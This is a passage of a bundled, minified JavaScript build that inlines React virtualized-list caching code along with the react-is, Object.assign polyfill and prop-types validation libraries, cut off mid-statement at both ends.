            !1 === this._hasFixedWidth && 0 === this._defaultWidth && console.warn("Fixed width CellMeasurerCache should specify a :defaultWidth greater than 0. Failing to do so will lead to unnecessary layout and poor performance.");
        }
        return _createClass(CellMeasurerCache, [ {
            key: "clear",
            value: function(rowIndex, argument_1) {
                var columnIndex = 1 < arguments.length && void 0 !== argument_1 ? argument_1 : 0, key = this._keyMapper(rowIndex, columnIndex);
                delete this._cellHeightCache[key], delete this._cellWidthCache[key], this._updateCachedColumnAndRowSizes(rowIndex, columnIndex);
            }
        }, {
            key: "clearAll",
            value: function() {
                this._cellHeightCache = {}, this._cellWidthCache = {}, this._columnWidthCache = {}, 
                this._rowHeightCache = {}, this._rowCount = 0, this._columnCount = 0;
            }
        }, {
            key: "hasFixedHeight",
            value: function() {
                return this._hasFixedHeight;
            }
        }, {
            key: "hasFixedWidth",
            value: function() {
                return this._hasFixedWidth;
            }
        }, {
            key: "getHeight",
            value: function(rowIndex, argument_1) {
                var columnIndex = 1 < arguments.length && void 0 !== argument_1 ? argument_1 : 0;
                if (this._hasFixedHeight) return this._defaultHeight;
                var _key = this._keyMapper(rowIndex, columnIndex);
                return void 0 !== this._cellHeightCache[_key] ? Math.max(this._minHeight, this._cellHeightCache[_key]) : this._defaultHeight;
            }
        }, {
            key: "getWidth",
            value: function(rowIndex, argument_1) {
                var columnIndex = 1 < arguments.length && void 0 !== argument_1 ? argument_1 : 0;
                if (this._hasFixedWidth) return this._defaultWidth;
                var _key2 = this._keyMapper(rowIndex, columnIndex);
                return void 0 !== this._cellWidthCache[_key2] ? Math.max(this._minWidth, this._cellWidthCache[_key2]) : this._defaultWidth;
            }
        }, {
            key: "has",
            value: function(rowIndex, argument_1) {
                var columnIndex = 1 < arguments.length && void 0 !== argument_1 ? argument_1 : 0, key = this._keyMapper(rowIndex, columnIndex);
                return void 0 !== this._cellHeightCache[key];
            }
        }, {
            key: "set",
            value: function(rowIndex, columnIndex, width, height) {
                var key = this._keyMapper(rowIndex, columnIndex);
                columnIndex >= this._columnCount && (this._columnCount = columnIndex + 1), rowIndex >= this._rowCount && (this._rowCount = rowIndex + 1), 
                this._cellHeightCache[key] = height, this._cellWidthCache[key] = width, this._updateCachedColumnAndRowSizes(rowIndex, columnIndex);
            }
        }, {
            key: "_updateCachedColumnAndRowSizes",
            value: function(rowIndex, columnIndex) {
                if (!this._hasFixedWidth) {
                    for (var columnWidth = 0, i = 0; i < this._rowCount; i++) columnWidth = Math.max(columnWidth, this.getWidth(i, columnIndex));
                    var columnKey = this._keyMapper(0, columnIndex);
                    this._columnWidthCache[columnKey] = columnWidth;
                }
                if (!this._hasFixedHeight) {
                    for (var rowHeight = 0, _i = 0; _i < this._columnCount; _i++) rowHeight = Math.max(rowHeight, this.getHeight(rowIndex, _i));
                    var rowKey = this._keyMapper(rowIndex, 0);
                    this._rowHeightCache[rowKey] = rowHeight;
                }
            }
        }, {
            key: "defaultHeight",
            get: function() {
                return this._defaultHeight;
            }
        }, {
            key: "defaultWidth",
            get: function() {
                return this._defaultWidth;
            }
        } ]), CellMeasurerCache;
    }();
    function defaultKeyMapper(rowIndex, columnIndex) {
        return "".concat(rowIndex, "-").concat(columnIndex);
    }
    function unwrapExports(x) {
        return x && x.__esModule && Object.prototype.hasOwnProperty.call(x, "default") ? x.default : x;
    }
    function createCommonjsModule(fn, module) {
        return fn(module = {
            exports: {}
        }, module.exports), module.exports;
    }
    var reactIs_production_min = createCommonjsModule(function(module, exports) {
        Object.defineProperty(exports, "__esModule", {
            value: !0
        });
        var b = "function" == typeof Symbol && Symbol.for, c = b ? Symbol.for("react.element") : 60103, d = b ? Symbol.for("react.portal") : 60106, e = b ? Symbol.for("react.fragment") : 60107, f = b ? Symbol.for("react.strict_mode") : 60108, g = b ? Symbol.for("react.profiler") : 60114, h = b ? Symbol.for("react.provider") : 60109, k = b ? Symbol.for("react.context") : 60110, l = b ? Symbol.for("react.async_mode") : 60111, m = b ? Symbol.for("react.concurrent_mode") : 60111, n = b ? Symbol.for("react.forward_ref") : 60112, p = b ? Symbol.for("react.suspense") : 60113, q = b ? Symbol.for("react.suspense_list") : 60120, r = b ? Symbol.for("react.memo") : 60115, t = b ? Symbol.for("react.lazy") : 60116, v = b ? Symbol.for("react.fundamental") : 60117, w = b ? Symbol.for("react.responder") : 60118, x = b ? Symbol.for("react.scope") : 60119;
        function y(a) {
            if ("object" == typeof a && null !== a) {
                var u = a.$$typeof;
                switch (u) {
                  case c:
                    switch (a = a.type) {
                      case l:
                      case m:
                      case e:
                      case g:
                      case f:
                      case p:
                        return a;

                      default:
                        switch (a = a && a.$$typeof) {
                          case k:
                          case n:
                          case h:
                            return a;

                          default:
                            return u;
                        }
                    }

                  case t:
                  case r:
                  case d:
                    return u;
                }
            }
        }
        function z(a) {
            return y(a) === m;
        }
        exports.typeOf = y, exports.AsyncMode = l, exports.ConcurrentMode = m, exports.ContextConsumer = k, 
        exports.ContextProvider = h, exports.Element = c, exports.ForwardRef = n, exports.Fragment = e, 
        exports.Lazy = t, exports.Memo = r, exports.Portal = d, exports.Profiler = g, exports.StrictMode = f, 
        exports.Suspense = p, exports.isValidElementType = function(a) {
            return "string" == typeof a || "function" == typeof a || a === e || a === m || a === g || a === f || a === p || a === q || "object" == typeof a && null !== a && (a.$$typeof === t || a.$$typeof === r || a.$$typeof === h || a.$$typeof === k || a.$$typeof === n || a.$$typeof === v || a.$$typeof === w || a.$$typeof === x);
        }, exports.isAsyncMode = function(a) {
            return z(a) || y(a) === l;
        }, exports.isConcurrentMode = z, exports.isContextConsumer = function(a) {
            return y(a) === k;
        }, exports.isContextProvider = function(a) {
            return y(a) === h;
        }, exports.isElement = function(a) {
            return "object" == typeof a && null !== a && a.$$typeof === c;
        }, exports.isForwardRef = function(a) {
            return y(a) === n;
        }, exports.isFragment = function(a) {
            return y(a) === e;
        }, exports.isLazy = function(a) {
            return y(a) === t;
        }, exports.isMemo = function(a) {
            return y(a) === r;
        }, exports.isPortal = function(a) {
            return y(a) === d;
        }, exports.isProfiler = function(a) {
            return y(a) === g;
        }, exports.isStrictMode = function(a) {
            return y(a) === f;
        }, exports.isSuspense = function(a) {
            return y(a) === p;
        };
    });
    unwrapExports(reactIs_production_min);
    reactIs_production_min.typeOf, reactIs_production_min.AsyncMode, reactIs_production_min.ConcurrentMode, 
    reactIs_production_min.ContextConsumer, reactIs_production_min.ContextProvider, 
    reactIs_production_min.Element, reactIs_production_min.ForwardRef, reactIs_production_min.Fragment, 
    reactIs_production_min.Lazy, reactIs_production_min.Memo, reactIs_production_min.Portal, 
    reactIs_production_min.Profiler, reactIs_production_min.StrictMode, reactIs_production_min.Suspense, 
    reactIs_production_min.isValidElementType, reactIs_production_min.isAsyncMode, reactIs_production_min.isConcurrentMode, 
    reactIs_production_min.isContextConsumer, reactIs_production_min.isContextProvider, 
    reactIs_production_min.isElement, reactIs_production_min.isForwardRef, reactIs_production_min.isFragment, 
    reactIs_production_min.isLazy, reactIs_production_min.isMemo, reactIs_production_min.isPortal, 
    reactIs_production_min.isProfiler, reactIs_production_min.isStrictMode, reactIs_production_min.isSuspense;
    var reactIs_development = createCommonjsModule(function(module, exports) {
        !function() {
            Object.defineProperty(exports, "__esModule", {
                value: !0
            });
            // The Symbol used to tag the ReactElement-like types. If there is no native Symbol
            // nor polyfill, then a plain number is used for performance.
            var hasSymbol = "function" == typeof Symbol && Symbol.for, REACT_ELEMENT_TYPE = hasSymbol ? Symbol.for("react.element") : 60103, REACT_PORTAL_TYPE = hasSymbol ? Symbol.for("react.portal") : 60106, REACT_FRAGMENT_TYPE = hasSymbol ? Symbol.for("react.fragment") : 60107, REACT_STRICT_MODE_TYPE = hasSymbol ? Symbol.for("react.strict_mode") : 60108, REACT_PROFILER_TYPE = hasSymbol ? Symbol.for("react.profiler") : 60114, REACT_PROVIDER_TYPE = hasSymbol ? Symbol.for("react.provider") : 60109, REACT_CONTEXT_TYPE = hasSymbol ? Symbol.for("react.context") : 60110, REACT_ASYNC_MODE_TYPE = hasSymbol ? Symbol.for("react.async_mode") : 60111, REACT_CONCURRENT_MODE_TYPE = hasSymbol ? Symbol.for("react.concurrent_mode") : 60111, REACT_FORWARD_REF_TYPE = hasSymbol ? Symbol.for("react.forward_ref") : 60112, REACT_SUSPENSE_TYPE = hasSymbol ? Symbol.for("react.suspense") : 60113, REACT_SUSPENSE_LIST_TYPE = hasSymbol ? Symbol.for("react.suspense_list") : 60120, REACT_MEMO_TYPE = hasSymbol ? Symbol.for("react.memo") : 60115, REACT_LAZY_TYPE = hasSymbol ? Symbol.for("react.lazy") : 60116, REACT_FUNDAMENTAL_TYPE = hasSymbol ? Symbol.for("react.fundamental") : 60117, REACT_RESPONDER_TYPE = hasSymbol ? Symbol.for("react.responder") : 60118, REACT_SCOPE_TYPE = hasSymbol ? Symbol.for("react.scope") : 60119;
            /**
   * Forked from fbjs/warning:
   * https://github.com/facebook/fbjs/blob/e66ba20ad5be433eb54423f2b097d829324d9de6/packages/fbjs/src/__forks__/warning.js
   *
   * Only change is we use console.warn instead of console.error,
   * and do nothing when 'console' is not supported.
   * This really simplifies the code.
   * ---
   * Similar to invariant but only logs a warning if the condition is not met.
   * This can be used to log issues in development environments in critical
   * paths. Removing the logging code for production environments will keep the
   * same logic and follow the same code paths.
   */
            var lowPriorityWarningWithoutStack$1 = function(condition, format) {
                if (void 0 === format) throw new Error("`lowPriorityWarningWithoutStack(condition, format, ...args)` requires a warning message argument");
                if (!condition) {
                    for (var _len2 = arguments.length, args = new Array(2 < _len2 ? _len2 - 2 : 0), _key2 = 2; _key2 < _len2; _key2++) args[_key2 - 2] = arguments[_key2];
                    (function(format) {
                        for (var _len = arguments.length, args = new Array(1 < _len ? _len - 1 : 0), _key = 1; _key < _len; _key++) args[_key - 1] = arguments[_key];
                        var argIndex = 0, message = "Warning: " + format.replace(/%s/g, function() {
                            return args[argIndex++];
                        });
                        "undefined" != typeof console && console.warn(message);
                        try {
                            // --- Welcome to debugging React ---
                            // This error was thrown as a convenience so that you can use this stack
                            // to find the callsite that caused this warning to fire.
                            throw new Error(message);
                        } catch (x) {}
                    }).apply(void 0, [ format ].concat(args));
                }
            };
            function typeOf(object) {
                if ("object" == typeof object && null !== object) {
                    var $$typeof = object.$$typeof;
                    switch ($$typeof) {
                      case REACT_ELEMENT_TYPE:
                        var type = object.type;
                        switch (type) {
                          case REACT_ASYNC_MODE_TYPE:
                          case REACT_CONCURRENT_MODE_TYPE:
                          case REACT_FRAGMENT_TYPE:
                          case REACT_PROFILER_TYPE:
                          case REACT_STRICT_MODE_TYPE:
                          case REACT_SUSPENSE_TYPE:
                            return type;

                          default:
                            var $$typeofType = type && type.$$typeof;
                            switch ($$typeofType) {
                              case REACT_CONTEXT_TYPE:
                              case REACT_FORWARD_REF_TYPE:
                              case REACT_PROVIDER_TYPE:
                                return $$typeofType;

                              default:
                                return $$typeof;
                            }
                        }

                      case REACT_LAZY_TYPE:
                      case REACT_MEMO_TYPE:
                      case REACT_PORTAL_TYPE:
                        return $$typeof;
                    }
                }
            }
 // AsyncMode is deprecated along with isAsyncMode
                        var AsyncMode = REACT_ASYNC_MODE_TYPE, ConcurrentMode = REACT_CONCURRENT_MODE_TYPE, ContextConsumer = REACT_CONTEXT_TYPE, ContextProvider = REACT_PROVIDER_TYPE, Element = REACT_ELEMENT_TYPE, ForwardRef = REACT_FORWARD_REF_TYPE, Fragment = REACT_FRAGMENT_TYPE, Lazy = REACT_LAZY_TYPE, Memo = REACT_MEMO_TYPE, Portal = REACT_PORTAL_TYPE, Profiler = REACT_PROFILER_TYPE, StrictMode = REACT_STRICT_MODE_TYPE, Suspense = REACT_SUSPENSE_TYPE, hasWarnedAboutDeprecatedIsAsyncMode = !1;
            function isConcurrentMode(object) {
                return typeOf(object) === REACT_CONCURRENT_MODE_TYPE;
            }
            exports.typeOf = typeOf, exports.AsyncMode = AsyncMode, exports.ConcurrentMode = ConcurrentMode, 
            exports.ContextConsumer = ContextConsumer, exports.ContextProvider = ContextProvider, 
            exports.Element = Element, exports.ForwardRef = ForwardRef, exports.Fragment = Fragment, 
            exports.Lazy = Lazy, exports.Memo = Memo, exports.Portal = Portal, exports.Profiler = Profiler, 
            exports.StrictMode = StrictMode, exports.Suspense = Suspense, exports.isValidElementType = function(type) {
                return "string" == typeof type || "function" == typeof type || // Note: its typeof might be other than 'symbol' or 'number' if it's a polyfill.
                type === REACT_FRAGMENT_TYPE || type === REACT_CONCURRENT_MODE_TYPE || type === REACT_PROFILER_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || "object" == typeof type && null !== type && (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_RESPONDER_TYPE || type.$$typeof === REACT_SCOPE_TYPE);
            }, exports.isAsyncMode = // AsyncMode should be deprecated
            function(object) {
                return hasWarnedAboutDeprecatedIsAsyncMode || lowPriorityWarningWithoutStack$1(!(hasWarnedAboutDeprecatedIsAsyncMode = !0), "The ReactIs.isAsyncMode() alias has been deprecated, and will be removed in React 17+. Update your code to use ReactIs.isConcurrentMode() instead. It has the exact same API."), 
                isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;
            }, exports.isConcurrentMode = isConcurrentMode, exports.isContextConsumer = function(object) {
                return typeOf(object) === REACT_CONTEXT_TYPE;
            }, exports.isContextProvider = function(object) {
                return typeOf(object) === REACT_PROVIDER_TYPE;
            }, exports.isElement = function(object) {
                return "object" == typeof object && null !== object && object.$$typeof === REACT_ELEMENT_TYPE;
            }, exports.isForwardRef = function(object) {
                return typeOf(object) === REACT_FORWARD_REF_TYPE;
            }, exports.isFragment = function(object) {
                return typeOf(object) === REACT_FRAGMENT_TYPE;
            }, exports.isLazy = function(object) {
                return typeOf(object) === REACT_LAZY_TYPE;
            }, exports.isMemo = function(object) {
                return typeOf(object) === REACT_MEMO_TYPE;
            }, exports.isPortal = function(object) {
                return typeOf(object) === REACT_PORTAL_TYPE;
            }, exports.isProfiler = function(object) {
                return typeOf(object) === REACT_PROFILER_TYPE;
            }, exports.isStrictMode = function(object) {
                return typeOf(object) === REACT_STRICT_MODE_TYPE;
            }, exports.isSuspense = function(object) {
                return typeOf(object) === REACT_SUSPENSE_TYPE;
            };
        }();
    });
    unwrapExports(reactIs_development);
    reactIs_development.typeOf, reactIs_development.AsyncMode, reactIs_development.ConcurrentMode, 
    reactIs_development.ContextConsumer, reactIs_development.ContextProvider, reactIs_development.Element, 
    reactIs_development.ForwardRef, reactIs_development.Fragment, reactIs_development.Lazy, 
    reactIs_development.Memo, reactIs_development.Portal, reactIs_development.Profiler, 
    reactIs_development.StrictMode, reactIs_development.Suspense, reactIs_development.isValidElementType, 
    reactIs_development.isAsyncMode, reactIs_development.isConcurrentMode, reactIs_development.isContextConsumer, 
    reactIs_development.isContextProvider, reactIs_development.isElement, reactIs_development.isForwardRef, 
    reactIs_development.isFragment, reactIs_development.isLazy, reactIs_development.isMemo, 
    reactIs_development.isPortal, reactIs_development.isProfiler, reactIs_development.isStrictMode, 
    reactIs_development.isSuspense;
    var reactIs = createCommonjsModule(function(module) {
        module.exports = reactIs_development;
    }), getOwnPropertySymbols = Object.getOwnPropertySymbols, hasOwnProperty = Object.prototype.hasOwnProperty, propIsEnumerable = Object.prototype.propertyIsEnumerable;
    var printWarning, objectAssign = function() {
        try {
            if (!Object.assign) return !1;
            // Detect buggy property enumeration order in older V8 versions.
            // https://bugs.chromium.org/p/v8/issues/detail?id=4118
                        var test1 = new String("abc");
 // eslint-disable-line no-new-wrappers
                        if (test1[5] = "de", "5" === Object.getOwnPropertyNames(test1)[0]) return !1;
            // https://bugs.chromium.org/p/v8/issues/detail?id=3056
                        for (var test2 = {}, i = 0; i < 10; i++) test2["_" + String.fromCharCode(i)] = i;
            if ("0123456789" !== Object.getOwnPropertyNames(test2).map(function(n) {
                return test2[n];
            }).join("")) return !1;
            // https://bugs.chromium.org/p/v8/issues/detail?id=3056
                        var test3 = {};
            return "abcdefghijklmnopqrst".split("").forEach(function(letter) {
                test3[letter] = letter;
            }), "abcdefghijklmnopqrst" === Object.keys(Object.assign({}, test3)).join("");
        } catch (err) {
            // We don't expect any of the above to throw, but better to be safe.
            return !1;
        }
    }() ? Object.assign : function(target, source) {
        for (var from, symbols, to = function(val) {
            if (null == val) throw new TypeError("Object.assign cannot be called with null or undefined");
            return Object(val);
        }(target), s = 1; s < arguments.length; s++) {
            for (var key in from = Object(arguments[s])) hasOwnProperty.call(from, key) && (to[key] = from[key]);
            if (getOwnPropertySymbols) {
                symbols = getOwnPropertySymbols(from);
                for (var i = 0; i < symbols.length; i++) propIsEnumerable.call(from, symbols[i]) && (to[symbols[i]] = from[symbols[i]]);
            }
        }
        return to;
    }, ReactPropTypesSecret_1 = "SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED", loggedTypeFailures = {}, has = Function.call.bind(Object.prototype.hasOwnProperty);
    /**
   * Copyright (c) 2013-present, Facebook, Inc.
   *
   * This source code is licensed under the MIT license found in the
   * LICENSE file in the root directory of this source tree.
   */    
    /**
   * Assert that the values match with the type specs.
   * Error messages are memorized and will only be shown once.
   *
   * @param {object} typeSpecs Map of name to a ReactPropType
   * @param {object} values Runtime values that need to be type-checked
   * @param {string} location e.g. "prop", "context", "child context"
   * @param {string} componentName Name of the component for error messages.
   * @param {?Function} getStack Returns the component stack.
   * @private
   */
    function checkPropTypes(typeSpecs, values, location, componentName, getStack) {
        for (var typeSpecName in typeSpecs) if (has(typeSpecs, typeSpecName)) {
            var error;
            // Prop type validation may throw. In case they do, we don't want to
            // fail the render phase where it didn't fail before. So we log it.
            // After these have been cleaned up, we'll let them throw.
                        try {
                // This is intentionally an invariant that gets caught. It's the same
                // behavior as without this statement except with a better message.
                if ("function" != typeof typeSpecs[typeSpecName]) {
                    var err = Error((componentName || "React class") + ": " + location + " type `" + typeSpecName + "` is invalid; it must be a function, usually from the `prop-types` package, but received `" + typeof typeSpecs[typeSpecName] + "`.");
                    throw err.name = "Invariant Violation", err;
                }
                error = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, "SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED");
            } catch (ex) {
                error = ex;
            }
            if (!error || error instanceof Error || printWarning((componentName || "React class") + ": type specification of " + location + " `" + typeSpecName + "` is invalid; the type checker function must return `null` or an `Error` but returned a " + typeof error + ". You may have forgotten to pass an argument to the type checker creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and shape all require an argument)."), 
            error instanceof Error && !(error.message in loggedTypeFailures)) {
                // Only monitor this failure once because there tends to be a lot of the
                // same error.
                loggedTypeFailures[error.message] = !0;
                var stack = getStack ? getStack() : "";
                printWarning("Failed " + location + " type: " + error.message + (null != stack ? stack : ""));
            }
        }
    }
    /**
   * Resets warning cache when testing.
   *
   * @private
   */    printWarning = function(text) {
        var message = "Warning: " + text;
        "undefined" != typeof console && console.error(message);
        try {
            // --- Welcome to debugging React ---
            // This error was thrown as a convenience so that you can use this stack
            // to find the callsite that caused this warning to fire.
            throw new Error(message);
        } catch (x) {}
    }, checkPropTypes.resetWarningCache = function() {
        loggedTypeFailures = {};
    };
    var printWarning$1, checkPropTypes_1 = checkPropTypes, has$1 = Function.call.bind(Object.prototype.hasOwnProperty);
    function emptyFunctionThatReturnsNull() {
        return null;
    }
    printWarning$1 = function(text) {
        var message = "Warning: " + text;
        "undefined" != typeof console && console.error(message);
        try {
            // --- Welcome to debugging React ---
            // This error was thrown as a convenience so that you can use this stack
            // to find the callsite that caused this warning to fire.
            throw new Error(message);
        } catch (x) {}
    };
    function factoryWithTypeCheckers(isValidElement, throwOnDirectAccess) {
        /* global Symbol */
        var ITERATOR_SYMBOL = "function" == typeof Symbol && Symbol.iterator, FAUX_ITERATOR_SYMBOL = "@@iterator", ANONYMOUS = "<<anonymous>>", ReactPropTypes = {
            array: createPrimitiveTypeChecker("array"),
            bool: createPrimitiveTypeChecker("boolean"),
            func: createPrimitiveTypeChecker("function"),
            number: createPrimitiveTypeChecker("number"),
            object: createPrimitiveTypeChecker("object"),
            string: createPrimitiveTypeChecker("string"),
            symbol: createPrimitiveTypeChecker("symbol"),
            any: createChainableTypeChecker(emptyFunctionThatReturnsNull),
            arrayOf: function(typeChecker) {
                return createChainableTypeChecker(function(props, propName, componentName, location, propFullName) {
                    if ("function" != typeof typeChecker) return new PropTypeError("Property `" + propFullName + "` of component `" + componentName + "` has invalid PropType notation inside arrayOf.");
                    var propValue = props[propName];
                    if (!Array.isArray(propValue)) return new PropTypeError("Invalid " + location + " `" + propFullName + "` of type `" + getPropType(propValue) + "` supplied to `" + componentName + "`, expected an array.");
                    for (var i = 0; i < propValue.length; i++) {
                        var error = typeChecker(propValue, i, componentName, location, propFullName + "[" + i + "]", ReactPropTypesSecret_1);
                        if (error instanceof Error) return error;
                    }
                    return null;
                });
            },
            element: createChainableTypeChecker(function(props, propName, componentName, location, propFullName) {
                var propValue = props[propName];
                return isValidElement(propValue) ? null : new PropTypeError("Invalid " + location + " `" + propFullName + "` of type `" + getPropType(propValue) + "` supplied to `" + componentName + "`, expected a single ReactElement.");
            }),
            elementType: createChainableTypeChecker(function(props, propName, componentName, location, propFullName) {
                var propValue = props[propName];
                return reactIs.isValidElementType(propValue) ? null : new PropTypeError("Invalid " + location + " `" + propFullName + "` of type `" + getPropType(propValue) + "` supplied to `" + componentName + "`, expected a single ReactElement type.");
            }),
            instanceOf: function(expectedClass) {
                return createChainableTypeChecker(function(props, propName, componentName, location, propFullName) {
                    if (props[propName] instanceof expectedClass) return null;
                    var expectedClassName = expectedClass.name || ANONYMOUS;
                    return new PropTypeError("Invalid " + location + " `" + propFullName + "` of type `" + 
                    // Returns class name of the object, if any.
                    function(propValue) {
                        return propValue.constructor && propValue.constructor.name ? propValue.constructor.name : ANONYMOUS;
                    }(props[propName]) + "` supplied to `" + componentName + "`, expected instance of `" + expectedClassName + "`.");
                });
            },
            node: createChainableTypeChecker(function(props, propName, componentName, location, propFullName) {
                return isNode(props[propName]) ? null : new PropTypeError("Invalid " + location + " `" + propFullName + "` supplied to `" + componentName + "`, expected a ReactNode.");
            }),
            objectOf: function(typeChecker) {
                return createChainableTypeChecker(function(props, propName, componentName, location, propFullName) {
                    if ("function" != typeof typeChecker) return new PropTypeError("Property `" + propFullName + "` of component `" + componentName + "` has invalid PropType notation inside objectOf.");
                    var propValue = props[propName], propType = getPropType(propValue);
                    if ("object" !== propType) return new PropTypeError("Invalid " + location + " `" + propFullName + "` of type `" + propType + "` supplied to `" + componentName + "`, expected an object.");
                    for (var key in propValue) if (has$1(propValue, key)) {
                        var error = typeChecker(propValue, key, componentName, location, propFullName + "." + key, ReactPropTypesSecret_1);
                        if (error instanceof Error) return error;
                    }
                    return null;
                });
            },
            oneOf: function(expectedValues) {
                if (!Array.isArray(expectedValues)) return printWarning$1(1 < arguments.length ? "Invalid arguments supplied to oneOf, expected an array, got " + arguments.length + " arguments. A common mistake is to write oneOf(x, y, z) instead of oneOf([x, y, z])." : "Invalid argument supplied to oneOf, expected an array."), 
                emptyFunctionThatReturnsNull;
                return createChainableTypeChecker(function(props, propName, componentName, location, propFullName) {
                    for (var propValue = props[propName], i = 0; i < expectedValues.length; i++) if (is(propValue, expectedValues[i])) return null;
                    var valuesString = JSON.stringify(expectedValues, function(key, value) {
                        return "symbol" === getPreciseType(value) ? String(value) : value;
                    });
                    return new PropTypeError("Invalid " + location + " `" + propFullName + "` of value `" + String(propValue) + "` supplied to `" + componentName + "`, expected one of " + valuesString + ".");
                });
            },
            oneOfType: function(arrayOfTypeCheckers) {
                if (!Array.isArray(arrayOfTypeCheckers)) return printWarning$1("Invalid argument supplied to oneOfType, expected an instance of array."), 
                emptyFunctionThatReturnsNull;
                for (var i = 0; i < arrayOfTypeCheckers.length; i++) {
                    var checker = arrayOfTypeCheckers[i];
                    if ("function" != typeof checker) return printWarning$1("Invalid argument supplied to oneOfType. Expected an array of check functions, but received " + getPostfixForTypeWarning(checker) + " at index " + i + "."), 
                    emptyFunctionThatReturnsNull;
                }
                return createChainableTypeChecker(function(props, propName, componentName, location, propFullName) {
                    for (var i = 0; i < arrayOfTypeCheckers.length; i++) {
                        if (null == (0, arrayOfTypeCheckers[i])(props, propName, componentName, location, propFullName, ReactPropTypesSecret_1)) return null;
                    }
                    return new PropTypeError("Invalid " + location + " `" + propFullName + "` supplied to `" + componentName + "`.");
                });
            },
            shape: function(shapeTypes) {
                return createChainableTypeChecker(function(props, propName, componentName, location, propFullName) {
                    var propValue = props[propName], propType = getPropType(propValue);
                    if ("object" !== propType) return new PropTypeError("Invalid " + location + " `" + propFullName + "` of type `" + propType + "` supplied to `" + componentName + "`, expected `object`.");
                    for (var key in shapeTypes) {
                        var checker = shapeTypes[key];
                        if (checker) {
                            var error = checker(propValue, key, componentName, location, propFullName + "." + key, ReactPropTypesSecret_1);
                            if (error) return error;
                        }
                    }
                    return null;
                });
            },
            exact: function(shapeTypes) {
                return createChainableTypeChecker(function(props, propName, componentName, location, propFullName) {
                    var propValue = props[propName], propType = getPropType(propValue);
                    if ("object" !== propType) return new PropTypeError("Invalid " + location + " `" + propFullName + "` of type `" + propType + "` supplied to `" + componentName + "`, expected `object`.");
                    // We need to check all keys in case some are required but missing from
                    // props.
                                        var allKeys = objectAssign({}, props[propName], shapeTypes);
                    for (var key in allKeys) {
                        var checker = shapeTypes[key];
                        if (!checker) return new PropTypeError("Invalid " + location + " `" + propFullName + "` key `" + key + "` supplied to `" + componentName + "`.\nBad object: " + JSON.stringify(props[propName], null, "  ") + "\nValid keys: " + JSON.stringify(Object.keys(shapeTypes), null, "  "));
                        var error = checker(propValue, key, componentName, location, propFullName + "." + key, ReactPropTypesSecret_1);
                        if (error) return error;
                    }
                    return null;
                });
            }
        };
        /**
     * inlined Object.is polyfill to avoid requiring consumers ship their own
     * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is
     */
        /*eslint-disable no-self-compare*/
        function is(x, y) {
            // SameValue algorithm
            return x === y ? 0 !== x || 1 / x == 1 / y : x != x && y != y;
        }
        /*eslint-enable no-self-compare*/
        /**
     * We use an Error-like object for backward compatibility as people may call
     * PropTypes directly and inspect their output. However, we don't use real
     * Errors anymore. We don't inspect their stack anyway, and creating them
     * is prohibitively expensive if they are created too often, such as what
     * happens in oneOfType() for any type before the one that matched.
     */        function PropTypeError(message) {
            this.message = message, this.stack = "";
        }
        // Make `instanceof Error` still work for returned errors.
                function createChainableTypeChecker(validate) {
            var manualPropTypeCallCache = {}, manualPropTypeWarningCount = 0;
            function checkType(isRequired, props, propName, componentName, location, propFullName, secret) {
                if (componentName = componentName || ANONYMOUS, propFullName = propFullName || propName, 
                secret !== ReactPropTypesSecret_1) {
                    if (throwOnDirectAccess) {
                        // New behavior only for users of `prop-types` package
                        var err = new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use `PropTypes.checkPropTypes()` to call them. Read more at http://fb.me/use-check-prop-types");
                        throw err.name = "Invariant Violation", err;
                    }
                    if ("undefined" != typeof console) {
                        // Old behavior for people using React.PropTypes
                        var cacheKey = componentName + ":" + propName;
                        !manualPropTypeCallCache[cacheKey] && 
                        // Avoid spamming the console because they are often not actionable except for lib authors
                        manualPropTypeWarningCount < 3 && (printWarning$1("You are manually calling a React.PropTypes validation function for the `" + propFullName + "` prop on `" + componentName + "`. This is deprecated and will throw in the standalone `prop-types` package. You may be seeing this warning due to a third-party PropTypes library. See https://fb.me/react-warning-dont-call-proptypes for details."), 
                        manualPropTypeCallCache[cacheKey] = !0, manualPropTypeWarningCount++);
                    }
                }
                return null == props[propName] ? isRequired ? null === props[propName] ? new PropTypeError("The " + location + " `" + propFullName + "` is marked as required in `" + componentName + "`, but its value is `null`.") : new PropTypeError("The " + location + " `" + propFullName + "` is marked as required in `" + componentName + "`, but its value is `undefined`.") : null : validate(props, propName, componentName, location, propFullName);
            }
            var chainedCheckType = checkType.bind(null, !1);
            return chainedCheckType.isRequired = checkType.bind(null, !0), chainedCheckType;
        }
        function createPrimitiveTypeChecker(expectedType) {
            return createChainableTypeChecker(function(props, propName, componentName, location, propFullName, secret) {
                var propValue = props[propName];
                return getPropType(propValue) === expectedType ? null : new PropTypeError("Invalid " + location + " `" + propFullName + "` of type `" + getPreciseType(propValue) + "` supplied to `" + componentName + "`, expected `" + expectedType + "`.");
            });
        }
        function isNode(propValue) {
            switch (typeof propValue) {
              case "number":
              case "string":
              case "undefined":
                return !0;

              case "boolean":
                return !propValue;

              case "object":
                if (Array.isArray(propValue)) return propValue.every(isNode);
                if (null === propValue || isValidElement(propValue)) return !0;
                var iteratorFn = // Before Symbol spec.
                /**
     * Returns the iterator method function contained on the iterable object.
     *
     * Be sure to invoke the function with the iterable as context:
     *
     *     var iteratorFn = getIteratorFn(myIterable);
     *     if (iteratorFn) {
     *       var iterator = iteratorFn.call(myIterable);
     *       ...
     *     }
     *
     * @param {?object} maybeIterable
     * @return {?function}
     */
                function(maybeIterable) {
                    var iteratorFn = maybeIterable && (ITERATOR_SYMBOL && maybeIterable[ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL]);
                    if ("function" == typeof iteratorFn) return iteratorFn;
                }
                /**
     * Collection of methods that allow declaration and validation of props that are
     * supplied to React components. Example usage:
     *
     *   var Props = require('ReactPropTypes');
